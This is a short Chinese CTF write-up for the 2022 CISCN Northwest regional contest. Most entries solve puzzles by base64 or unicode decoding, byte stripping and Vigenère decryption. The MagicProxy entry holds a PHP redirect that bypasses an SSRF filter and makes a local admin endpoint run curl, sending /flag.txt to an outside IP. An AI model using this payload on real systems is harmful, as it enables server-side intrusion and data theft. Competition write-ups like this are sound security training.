2022 CISCN西北赛区分区赛

MagicProxy

ssrf重定向绕过

<?php
header("Location:http://127.0.0.1:8080/admin?command=curl%20-F%20file=@/flag.txt%20http%3A%2F%2F82.157.174.226%3A8888");
exit;
?>

ezmodbus

ZmxhZ3tic2N6czF6Y3h9

base64解码

迟来的签到

XHUwMDQzXHUwMDQ5XHUwMDUzXHUwMDQzXHUwMDRlXHUwMDMyXHUwMDMwXHUwMDMyXHUwMDMy

base64解码后unicode解码

CISCN2022解压

记事本打开

字符串逆序就是flag

ezFD

爆破密码

f = open("FD", 'rb')

b = b''

for i in f.read():
    if i and i != 0xff:
        b += bytes([i])

open('flag', 'wb').write(b)

维吉尼亚解密出flag